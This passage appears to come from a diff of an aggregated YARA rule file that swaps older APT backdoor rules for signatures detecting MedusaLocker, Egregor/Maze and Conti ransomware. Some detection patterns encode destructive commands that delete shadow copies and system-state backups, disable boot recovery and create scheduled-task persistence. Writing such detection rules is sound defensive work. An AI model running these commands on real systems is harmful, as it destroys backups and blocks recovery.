ARKBIRD_SOLG_MAL_ELF_Specter_Jul_2021_1 : FILE { meta: @@ -157532,3294 +157194,3419 @@ rule ARKBIRD_SOLG_MAL_ELF_Bioset_Jul_2021_1 : FILE condition: uint32( 0 ) == 0x464c457f and filesize > 10KB and 6 of ( $s* ) } -rule ARKBIRD_SOLG_Mal_Smanager_Installer_Module_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_RAN_Medusalocker_Aug_2021_1 : FILE { meta: - description = "Detect installer module of Smanager (November 2020)" + description = "Detect MedusaLocker ransomware" author = "Arkbird_SOLG" - id = "364285bc-2173-5ff0-85d2-af06051a3b70" - date = "2020-12-19" - modified = "2020-12-19" - reference = "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-19/Mal_Smanager_Installer_Module_Nov_2020_1.yar#L1-L24" + id = "9e647371-b37a-53af-bfb6-cde72855b564" + date = "2021-08-08" + modified = "2021-08-08" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-08/medusalocker/RAN_MedusaLocker_Aug_2021_1.yara#L1-L29" license_url = "N/A" - logic_hash = "380d28f6cdea24f807f3c29207eb0b8888ebdfea215c53df164fe080c3917438" + logic_hash = "40dd3ec16eefc59cb25c8855fb62cda1d642ec711226c1c964fd26384be7ef15" score = 75 - quality = 61 + quality = 73 tags = "FILE" - hash1 = "97a5fe1d2174e9d34cee8c1d6751bf01f99d8f40b1ae0bce205b8f2f0483225c" + hash1 = "4f9a833e79092006c06203a66b41fc9250bcebcee148fea404db75d52035131c" + hash2 = "212e7f5ed4a581b4d778dfef226738c6db56b4b4006526259392d03062587887" + hash3 = "a25c0227728878c386ab6dba139976cb10e853dd3cd1eb3623f236ee8e1df212" + hash4 = "c2a0a317d73c96428ab088a8f0636ec4ccace7ca691c84ed66a83a70183f40dc" + hash5 = "0abb4a302819cdca6c9f56893ca2b52856b55a0aa68a3cb8bdcd55dcc1fad9ad" + hash6 = "f5fb7fa5231c18f0951c755c4cb0ec07b0889b5e320f42213cbf6bbbe499ad31" + tlp = "white" + adversary = "RaaS" strings: - $s1 = { 63 6d 64 20 2f 63 20 73 63 68 74 61 73 6b 73 20 2f 46 20 2f 63 72 65 61 74 65 20 2f 74 6e 3a 57 69 6e 64 6f 77 73 5c 55 70 64 61 74 65 20 2f 74 72 20 22 25 73 22 20 20 20 2f 73 63 20 48 4f 55 52 4c 59 } - $s2 = { 25 73 5c 73 79 73 74 65 6d 33 32 5c 73 76 63 68 6f 73 74 2e 65 78 65 20 2d 6b 20 25 73 } - $s3 = { 25 73 79 73 74 65 6d 72 6f 6f 74 25 } - $s4 = { 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c [1-8] 5c [1-8] 2e 63 61 62 } - $s5 = { 53 6d 61 6e 61 67 65 72 5f 73 73 6c 2e 64 6c 6c } - $s6 = { 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 53 76 63 68 6f 73 74 } - $s7 = { 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 5c } - $s8 = { 43 3a 5c 77 69 6e 64 6f 77 73 5c 61 70 70 70 61 74 63 68 5c } - $s9 = "TmV0QmlvcyBNZXNzYWdlciBSZWdpc3Rlcg==" fullword ascii - $s10 = { 68 74 74 70 73 3d 25 5b 5e 3a 5d 3a 25 64 00 00 68 74 74 70 73 3d 00 00 73 6f 63 6b 73 3d 25 5b 5e 3a 5d 3a 25 64 00 00 73 6f 63 6b 73 3d 00 00 68 74 74 70 3d 25 5b 5e 3a 5d 3a 25 64 00 00 00 68 74 74 70 3d } - $s11 = "&About VVSup..." fullword wide - $s12 = "%d.tmp" fullword ascii + $s1 = "{8761ABBD-7F85-42EE-B272-A76179687C63}" fullword wide + $s2 = { 83 c4 08 8d 8d ?? fe ff ff e8 [2] ff ff 8d 8d ?? fe ff ff e8 [2] ff ff 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 68 [2] 48 00 8d 8d [2] ff ff e8 [2] 00 00 8d 8d [2] ff ff 51 e8 ?? f9 ff ff 83 c4 04 88 85 2b ff ff ff 8d 8d [2] ff ff e8 [2] 00 00 0f b6 95 2b ff ff ff 85 d2 74 1e 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 33 c0 e9 [2] 00 00 8d 4d fa e8 [2] ff ff 8d 4d fa e8 [2] 01 00 8d 4d fa e8 [2] 01 00 8d 4d fa e8 [2] 01 00 0f b6 c0 85 c0 74 0c c7 85 ?? fe ff ff [2] 48 00 eb 0a c7 85 ?? fe ff ff [2] 48 00 8b 8d ?? fe ff ff 89 8d ?? fe ff ff 8d 95 ?? fe ff ff 52 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff e8 ?? f8 ff ff 8d 4d 8c e8 [2] 00 00 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff b9 [2] 4a 00 e8 [2] ff ff 50 e8 [2] ff ff 83 c4 04 50 8d 4d 8c e8 [2] 00 00 0f b6 c0 85 c0 75 41 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff e8 ?? c6 ff ff c7 85 ?? fe ff ff 00 00 00 00 8d 4d 8c e8 [2] 00 00 8d 4d fa e8 [2] ff ff 8b 85 ?? fe ff ff e9 [2] 00 00 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 68 [2] 48 00 8d 8d ?? fe ff ff e8 [2] 00 00 8d 8d ?? fd ff ff 51 8d 4d 8c e8 [2] 00 00 50 e8 [2] ff ff 83 c4 04 50 8d 95 ?? fe ff ff 52 b9 [2] 4a 00 e8 [2] 00 00 0f b6 c0 85 c0 75 0c c7 85 ?? fe ff ff 01 00 00 00 eb 0a c7 85 ?? fe ff ff 00 00 00 00 8a 8d ?? fe ff ff 88 8d 2a ff ff ff 8d 8d ?? fd ff ff e8 [2] 00 00 8d 8d ?? fe ff ff } + $s3 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 62 00 6f 00 6f 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 69 00 67 00 6e 00 6f 00 72 00 65 00 61 00 6c 00 6c 00 66 00 61 00 69 00 6c 00 75 00 72 00 65 00 73 } + $s4 = { 42 67 49 41 41 41 43 6b 41 41 42 53 55 30 45 78 } + $s5 = "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest" fullword wide + $s6 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 4e 00 6f } + $s7 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 41 00 6c 00 6c 00 20 00 2f 00 51 00 75 00 69 00 65 00 74 } + $s8 = { 77 00 6d 00 69 00 63 00 2e 00 65 00 78 00 65 00 20 00 53 00 48 00 41 00 44 00 4f 00 57 00 43 00 4f 00 50 00 59 00 20 00 2f 00 6e 00 6f 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 } + $s9 = { 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 20 00 44 00 45 00 4c 00 45 00 54 00 45 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 53 00 54 00 41 00 54 00 45 00 42 00 41 00 43 00 4b 00 55 00 50 } + $s10 = { 33 c0 48 89 44 24 40 48 c7 44 24 48 07 00 00 00 66 89 44 24 30 44 8d 40 26 48 8d 15 [2] 09 00 48 8d 4c 24 30 e8 [2] ff ff 48 83 7c 24 40 00 74 42 4c 8d 44 24 30 48 83 7c 24 48 08 4c 0f 43 44 24 30 33 d2 b9 01 00 1f 00 ff 15 [2] 07 00 48 85 c0 75 1f 4c 8d 44 24 30 48 83 7c 24 48 08 4c 0f 43 44 24 30 33 d2 33 c9 ff 15 [2] 07 00 32 db eb 02 b3 01 48 8b 54 24 48 48 83 fa 08 72 37 48 8d 14 55 02 00 00 00 48 8b 4c 24 30 48 8b c1 48 81 fa 00 10 00 00 72 19 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 0f 87 d3 00 00 00 e8 [2] 03 00 84 db 0f 85 ad 00 00 00 e8 3e 36 00 00 84 c0 75 05 e8 c5 36 00 00 e8 ?? 94 ff ff 48 8d 1d [2] 0d 00 48 8d 4c 24 30 e8 [2] ff ff 48 8b f8 48 8d 35 [2] 0d 00 0f 1f } condition: - uint16( 0 ) == 0x5a4d and filesize > 90KB and 7 of them + uint16( 0 ) == 0x5A4D and filesize > 150KB and 9 of ( $s* ) } -rule ARKBIRD_SOLG_Mal_Funnydream_Backdoor_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_Ran_Egregor_Oct_2020_1 : FILE { meta: - description = "Detect backdoor used by FunnyDream (November 2020)" + description = "Detect Egregor / Maze ransomware by Maze blocks" author = "Arkbird_SOLG" - id = "48120ba2-adaa-5098-8d8c-5c32bbafb9f6" - date = "2020-12-19" - modified = "2020-12-19" - reference = "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-19/Mal_FunnyDream_Backdoor_Nov_2020_1.yar#L1-L22" + id = "03d3ee25-cd0c-573e-beca-e4ff4377da9f" + date = "2020-10-29" + modified = "2023-11-22" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-31/Ran_Egregor_Oct_2020_1 .yar#L1-L21" license_url = "N/A" - logic_hash = "d12c465c735f09295b382fd5679d411c5114c232dabc22be84151e436f8fa199" + logic_hash = "d7d03db002b74d031b725db60e38a46abce564fb090b013aa9ec66376b430000" score = 75 - quality = 67 + quality = 75 tags = "FILE" - hash1 = "ce5c8741bffa8de5093d1831d736a7e478a54baa3676da37cde24f38d10f3529" + hash1 = "14e547bebaa738b8605ba4182c4379317d121e268f846c0ed3da171375e65fe4" + hash2 = "af538ab1b8bdfbf5b7f1548d72c0d042eb14d0011d796cab266f0671720abb4d" + hash3 = "42ac07c5175d88d6528cfe3dceacd01834323f10c4af98b1a190d5af7a7bb1cb" + hash4 = "4139c96d16875d1c3d12c27086775437b26d3c0ebdcdc258fb012d23b9ef8345" strings: - $s1 = { 25 64 25 64 25 64 20 25 64 3a 25 64 } - $s2 = { 73 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 49 6e 74 65 72 6e 65 74 20 53 65 74 74 69 6e 67 73 00 00 50 72 6f 78 79 45 6e 61 62 6c 65 00 50 72 6f 78 79 53 65 72 76 65 } - $s3 = { 48 41 52 44 57 41 52 45 5c 44 45 53 43 52 49 50 54 49 4f 4e 5c 53 79 73 74 65 6d 5c 43 65 6e 74 72 61 6c 50 72 6f 63 65 73 73 6f 72 5c 30 } - $s4 = { 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 25 75 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 25 75 25 73 25 73 0d 0a 53 65 72 76 65 72 3a 20 53 69 6d 70 6c 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 } - $s5 = { 43 4f 4e 4e 45 43 54 20 25 73 3a 25 64 20 48 54 54 50 2f 31 2e 30 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 31 30 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 29 0d 0a 50 72 6f 78 79 2d 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 25 73 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 0d 0a } - $s6 = { 31 32 33 34 35 36 00 00 55 73 65 72 2d 30 30 31 } - $s7 = { 25 73 20 25 73 25 73 2f 25 73 2f 25 30 38 58 25 30 38 58 2f 25 75 2f 25 75 2f 25 75 2f 25 75 2f 25 75 2f 25 75 2f 25 30 38 58 25 30 38 78 } - $s8 = { 63 6c 74 2e 65 78 65 00 44 6c 6c 49 6e 73 74 61 6c 6c 00 53 74 61 72 74 } - $s9 = { 32 30 30 20 43 6f 6e 6e 65 63 74 69 6f 6e 20 65 73 74 61 62 6c 69 73 68 65 64 } - $s10 = { 5c 63 6d 64 c7 85 e0 fe ff ff 2e 65 78 65 } + $x1 = { 45 f4 8b 4d 10 8b 09 0f b7 49 06 39 c8 0f 8d a2 00 00 00 8b 45 e4 83 78 10 00 75 48 8b 45 0c 8b 40 38 89 45 f0 83 7d f0 00 7e 37 31 c0 8b 4d ec 8b 55 e4 03 4a 0c 89 4d e8 8b 4d e8 8b 55 e4 89 4a 08 8b 4d f0 8b 55 e8 89 14 24 c7 44 24 04 00 00 00 00 89 4c 24 08 89 45 d4 e8 9e c6 ff ff 89 45 d0 eb 3a 8b 45 ec 8b 4d e4 03 41 0c 89 45 e8 8b 45 e4 8b 40 10 8b 4d 08 8b 55 e4 03 4a 14 8b 55 e8 89 14 24 89 4c 24 04 89 44 24 08 e8 77 a1 ff ff 8b 4d e8 8b 55 e4 89 4a 08 89 45 cc 8b 45 f4 83 c0 01 89 45 f4 8b 45 e4 83 c0 28 89 45 e4 } + $x2 = { 8b 45 f0 83 38 00 0f 86 a0 00 00 00 8b 45 f8 8b 4d f0 03 01 89 45 ec 8b 45 f0 83 c0 08 89 45 e8 c7 45 fc 00 00 00 00 8b 45 fc 8b 4d f0 8b 49 04 83 e9 08 d1 e9 39 c8 73 62 8b 45 e8 0f b7 00 c1 e8 0c 89 45 e0 8b 45 e8 0f b7 00 25 ff 0f 00 00 89 45 dc 8b 45 e0 85 c0 89 45 d0 74 0f eb 00 8b 45 d0 83 e8 03 89 45 cc 74 04 eb 17 eb 17 8b 45 ec 03 45 dc 89 45 e4 8b 45 0c 8b 4d e4 03 01 89 01 eb 02 eb 00 eb 00 8b 45 fc 83 c0 01 89 45 fc 8b 45 e8 83 c0 02 89 45 e8 eb 8c 8b 45 f0 8b 4d f0 03 41 04 89 45 f0 } + $x3 = { 8b 45 f0 8b 4d ec 03 01 89 45 e8 8b 45 e8 89 04 24 c7 44 24 04 14 00 00 00 ff 15 38 f0 0b 10 83 ec 08 31 c9 88 ca 83 f8 00 88 55 cf 75 0d 8b 45 e8 83 78 0c 00 0f 95 c1 88 4d cf 8a 45 cf a8 01 75 05 e9 6e 01 00 00 8b 45 f0 8b 4d e8 03 41 0c 89 04 24 ff 15 3c f0 0b 10 83 ec 04 89 45 dc 8b 45 dc b9 ff ff ff ff 39 c8 } + $op1 = { 60 8b 7d 08 8b 4d 10 8b 45 0c f3 aa 61 89 45 f0 } + $op2 = { 83 7d 08 00 89 45 ec 89 4d e8 89 55 e4 } + $op3 = { 89 4d e8 89 55 e4 75 09 c7 45 f0 00 00 00 00 } + $op4 = { 75 09 c7 45 f0 00 00 00 00 eb 17 60 } condition: - uint16( 0 ) == 0x5a4d and filesize > 90KB and 6 of them + uint16( 0 ) == 0x5a4d and filesize > 350KB and ( 3 of ( $op* ) or 2 of ( $x* ) ) } -rule ARKBIRD_SOLG_Mal_Phantomnet_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_RAN_Conti_May_2021_1 : FILE { meta: - description = "Detect PhantomNet (November 2020)" + description = "Detect packed Conti ransomware (May 2021) [Common parts with Vidar packer, possible false positives to Vidar stealer or Danabot" author = "Arkbird_SOLG" - id = "16ddcc9a-8254-5d40-adcd-70ebe212fc78" - date = "2020-12-19" - modified = "2020-12-19" - reference = "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-19/Mal_PhantomNet_Nov_2020_1.yar#L1-L24" + id = "661182f7-4716-50d1-8d98-9fb272cf43eb" + date = "2021-05-19" + modified = "2021-05-21" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-20/Conti/RAN_Conti_May_2021_1.yara#L1-L18" license_url = "N/A" - logic_hash = "a08467f68968fb0dfa82bca5984e1ad823f222946bd0acb62db418556a9a347a" - score = 75 - quality = 65 + logic_hash = "397f99dee35d8a0c5f564655e952f8a55d347a74303eadfc6788bd6ff0f6c4c5" + score = 50 + quality = 75 tags = "FILE" - hash1 = "ea7b2def3335b81048aac8fc372349f38453b676fa833603b7e15c45437f6858" - hash2 = "338502691f6861ae54e651a25a08e62eeca9febc6830978a670d44caf3d5d056" + hash1 = "Redacted" + tlp = "White" + adversary = "RAAS" + level = "Experimental" strings: - $s1 = { 25 73 25 30 38 58 } - $s2 = { 68 00 74 00 74 00 70 00 5c 00 73 00 68 00 65 00 6c 00 6c 00 5c 00 6f 00 70 00 65 00 6e 00 5c 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 } - $s3 = { 6b 25 34 64 2d 25 30 32 64 2d 25 30 32 64 } - $s4 = { 47 6c 6f 62 61 6c 5c 47 6c 6f 62 61 6c 41 63 70 72 6f 74 65 63 74 4d 75 74 65 78 } - $s5 = "Proxy-Authorization: NTLM" fullword ascii - $s6 = { 50 72 6f 78 79 2d 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a } - $s7 = { 48 54 54 50 2f 31 2e 31 20 00 00 00 48 54 54 50 2f 31 2e 30 20 } - $s8 = { 52 00 6f 00 6f 00 74 00 5c 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 43 00 65 00 6e 00 74 00 65 00 72 00 32 00 00 00 00 00 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 56 69 72 75 73 50 72 6f 64 75 63 74 00 00 57 51 4c } - $s9 = { 68 74 74 70 00 00 00 00 25 5b 5e 3a 5d 00 00 00 25 2a 5b 5e 3a 5d 3a 25 64 } - $s10 = { 48 6f 73 74 3a 20 } - $s11 = { 43 6f 6f 6b 69 65 73 3a 20 } - $s12 = "Proxy-Authenticate: NTLM" fullword ascii + $seq1 = { 55 8b ec [3-4] 00 00 [0-5] 56 57 83 3d [4] 25 0f 85 ?? 00 00 00 68 [2] 44 00 ff 15 [2] 42 00 3d f6 65 00 00 0f 85 ?? 00 00 00 6a 00 [0-2] ff 15 2c ?? 42 00 b9 ?? 00 00 00 be [2] 42 00 8d bd f8 f7 ff ff f3 a5 [2-4] 07 00 00 6a 00 8d 85 ?? f8 ff ff 50 e8 [4] 83 c4 0c 8d 4d f8 89 4d fc 6a 00 6a 00 [2-4] 06 00 00 } + $seq2 = { ff 15 [2] 42 00 8b ?? f4 c1 ?? 04 89 ?? e4 81 3d [4] 8c 07 00 00 75 1d 6a 00 e8 [4] 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 [2] 42 00 8b 45 f8 01 45 e4 8b ?? f4 03 ?? e8 89 ?? f0 81 3d [4] 96 01 } + $seq3 = { 83 bd [2] ff ff 26 75 05 e8 [2] ff ff 83 3d [4] 7a 75 75 33 ?? 66 89 [3] ff ff 33 ?? 89 [3] ff ff 89 [3] ff ff 89 [3] ff ff 66 89 [3] ff ff 33 ?? 66 89 [3] ff ff 33 ?? 89 [3] ff ff 89 [3] ff ff 89 [3] ff ff 66 89 [3] ff ff 8d [3] ff ff ?? 8d [3] ff ff ?? 8d [3] ff ff ?? ff 15 [2] 42 00 6a 00 ff 15 [2] 42 00 6a 00 6a 00 ff 15 [2] 42 00 e9 50 ff ff } + $seq4 = { 81 bd [2] ff ff 22 3b 00 00 75 [4-5] 42 00 [5-6] 81 3d [4] e5 05 00 00 75 } condition: - uint16( 0 ) == 0x5a4d and filesize > 90KB and 9 of them + uint16( 0 ) == 0x5a4d and filesize > 90KB and all of ( $seq* ) } -rule ARKBIRD_SOLG_APT_APT28_Zekapab_Mar_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_Conti_May_2021_2 : FILE { meta: - description = "Detect Zekapab used by APT28 group" + description = "Detect unpacked Conti ransomware (May 2021)" author = "Arkbird_SOLG" - id = "634f32dd-8bcf-5c58-a335-9b66ff568a54" - date = "2021-03-15" - modified = "2021-03-15" - reference = "https://twitter.com/DrunkBinary/status/1371423755608719360" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-15/APT28/APT_APT28_Zekapab_Mar_2021_1.yar#L1-L25" + id = "f7580a0d-b94e-560e-a01e-1f0eb0c8833e" + date = "2021-05-20" + modified = "2021-05-21" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-20/Conti/RAN_Conti_May_2021_2.yara#L1-L20" license_url = "N/A" - logic_hash = "dabaab47c193a05620d282a00b6b47f710cfa6b1efc699ea5d47267d10cfdcb6" - score = 60 - quality = 23 + logic_hash = "d1ec1d2954d0075d9d9ed194bb96a34d457045bfc7a22cb44adb76dee4bc8e41" + score = 75 + quality = 75 tags = "FILE" - hash1 = "eae62bb4110bcd00e9d1bcaba9000defcda3d1ab832fa2634d928559d066cb15" + hash1 = "Redacted" + hash2 = "a5751a46768149c5ddf318fd75afc66b3db28a5b76254ee0d6ae27b21712e266" + hash3 = "74b7a1da50ce44b640d84422bb3f99e2f338cc5d5be9ef5f1ad03c8e947296c3" + hash4 = "ef2cd9ded5532af231e0990feaf2df8fd79dc63f7a677192e17b89ef4adb7dd2" strings: - $s1 = { 68 74 74 70 3A 2F 2F } - $s2 = { 68 74 74 70 73 3A 2F 2F } - $s3 = { 32 44 34 46 37 30 36 35 36 45 32 30 37 30 37 32 36 46 36 33 36 35 37 33 37 33 32 44 } - $s4 = { 35 30 34 33 32 30 34 45 36 31 36 44 36 35 33 41 32 30 } - $s5 = { 34 42 34 32 37 32 36 34 32 30 34 43 36 31 36 45 36 37 33 41 32 30 } - $s6 = { 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c 25 2e 38 78 } - $header1 = { 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 } - $header2 = { 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 25 73 } - $dbg1 = { 46 00 69 00 6c 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 6e 00 6f 00 74 00 20 00 66 00 6f 00 75 00 6e 00 64 00 0d 00 4e 00 6f 00 74 00 20 00 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 65 00 64 } - $dbg2 = { 53 00 79 00 73 00 74 00 65 00 6d 00 20 00 45 00 72 00 72 00 6f 00 72 00 2e 00 20 00 20 00 43 00 6f 00 64 00 65 00 3a 00 20 00 25 00 64 00 2e 00 0d 00 0a 00 25 00 73 } - $dbg3 = { 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 25 00 73 00 2e 00 0a 00 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 65 00 64 00 2e } - $dbg4 = { 45 00 72 00 72 00 6f 00 72 00 20 00 72 00 65 00 61 00 64 00 69 00 6e 00 67 00 20 00 25 00 73 00 25 00 73 00 25 00 73 00 3a 00 20 00 25 00 73 } - $dbg5 = { 52 00 65 00 73 00 6f 00 6c 00 76 00 69 00 6e 00 67 00 20 00 68 00 6f 00 73 00 74 00 6e 00 61 00 6d 00 65 00 20 00 25 00 73 00 2e } - $dbg6 = { 53 00 6f 00 63 00 6b 00 65 00 74 00 20 00 45 00 72 00 72 00 6f 00 72 00 20 00 23 00 20 00 25 00 64 00 0d 00 0a 00 25 00 73 } + $seq1 = { 33 db 3c 2f 74 0a 3c 5c 74 06 3c 3a 8a c3 75 02 b0 01 2b cf 0f b6 c0 41 89 9d 68 fd ff ff f7 d8 89 9d 6c fd ff ff 56 1b c0 89 9d 70 fd ff ff 23 c1 89 9d 74 fd ff ff 89 85 88 fd ff ff 89 9d 78 fd ff ff 88 9d 7c fd ff ff e8 [4] 50 8d 85 68 fd ff ff 50 57 e8 68 fc ff ff 83 c4 0c 8d 8d ac fd ff ff f7 d8 1b c0 53 53 53 51 f7 d0 23 85 70 fd ff ff 53 50 ff 15 [4] 8b f0 83 fe ff 75 18 ff b5 a4 fd ff ff 53 53 57 e8 42 fe ff ff 83 c4 10 8b d8 e9 1c 01 00 00 8b 85 a4 fd ff ff 8b 48 04 2b 08 c1 f9 02 89 8d 84 fd ff ff 89 9d 8c fd ff ff 89 9d 90 fd ff ff 89 9d 94 fd ff ff 89 9d 98 fd ff ff 89 9d 9c fd ff ff 88 9d a0 fd ff ff e8 [4] 50 8d 85 ab fd ff ff 50 8d 85 8c fd ff ff 50 8d 85 d8 fd ff ff 50 e8 01 fb ff ff 83 c4 10 f7 d8 1b c0 f7 d0 23 85 94 fd ff ff 80 } + $seq2 = { 38 9d a0 fd ff ff 74 0c ff b5 94 fd ff ff e8 [2] ff ff 59 8d 85 ac fd ff ff 50 56 ff 15 [4] 85 c0 0f 85 4d ff ff ff 8b 85 a4 fd ff ff 8b 8d 84 fd ff ff 8b 10 8b 40 04 2b c2 c1 f8 02 3b c8 74 34 68 [4] 2b c1 6a 04 50 8d 04 8a 50 e8 [2] 00 00 83 c4 10 eb 1c 38 9d a0 fd ff ff 74 12 ff b5 94 fd ff ff e8 [2] ff ff 8b 85 80 fd ff ff 59 8b d8 56 ff 15 [4] 80 bd 7c fd ff ff 00 5e 74 0c ff b5 70 fd ff ff e8 [2] ff ff 59 8b } + $seq3 = { 6a 0c 68 [4] e8 [2] ff ff 33 f6 89 75 e4 8b 45 08 ff 30 e8 [2] ff ff 59 89 75 fc 8b 45 0c 8b 00 8b 38 8b d7 c1 fa 06 8b c7 83 e0 3f 6b c8 38 8b 04 95 [4] f6 44 08 28 01 74 21 57 e8 [2] ff ff 59 50 ff 15 [4] 85 c0 75 1d e8 [2] ff ff 8b f0 ff 15 [4] 89 06 e8 [2] ff ff c7 00 09 00 00 00 83 ce ff 89 75 e4 c7 45 fc fe ff ff ff e8 0d 00 00 00 8b c6 e8 [2] ff } + $seq4 = { 8b ff 55 8b ec 56 6a 00 ff 75 10 ff 75 0c ff 75 08 ff 35 [4] ff 15 [4] 8b f0 85 f6 75 2d ff 15 [4] 83 f8 06 75 22 e8 b6 ff ff ff e8 73 ff ff ff 56 ff 75 10 ff 75 0c ff 75 08 ff 35 [4] ff 15 [4] 8b f0 8b c6 5e } + $seq5 = { 55 8b ec 81 ec b4 09 00 00 a1 08 [3] 33 c5 89 45 fc 53 56 57 6a ?? 68 [4] ba 18 00 00 00 33 c9 e8 [2] ff ff 83 c4 08 6a 00 6a 00 ff d0 8b f0 85 f6 0f 88 9a 03 00 00 c7 85 8c f7 ff ff [3] 00 bb 03 00 00 00 8b 85 8c f7 ff ff 99 f7 fb 8b 85 8c f7 ff ff 8d 7b 02 85 d2 74 57 83 c0 02 03 c6 89 85 8c f7 ff ff 8b 85 8c f7 ff ff 25 03 00 00 80 79 07 48 83 c8 fc 83 c0 01 0f 85 64 01 00 00 66 66 0f 1f 84 00 00 00 00 00 8b 85 8c f7 ff ff 40 89 85 8c f7 ff ff 8b 85 8c f7 ff ff 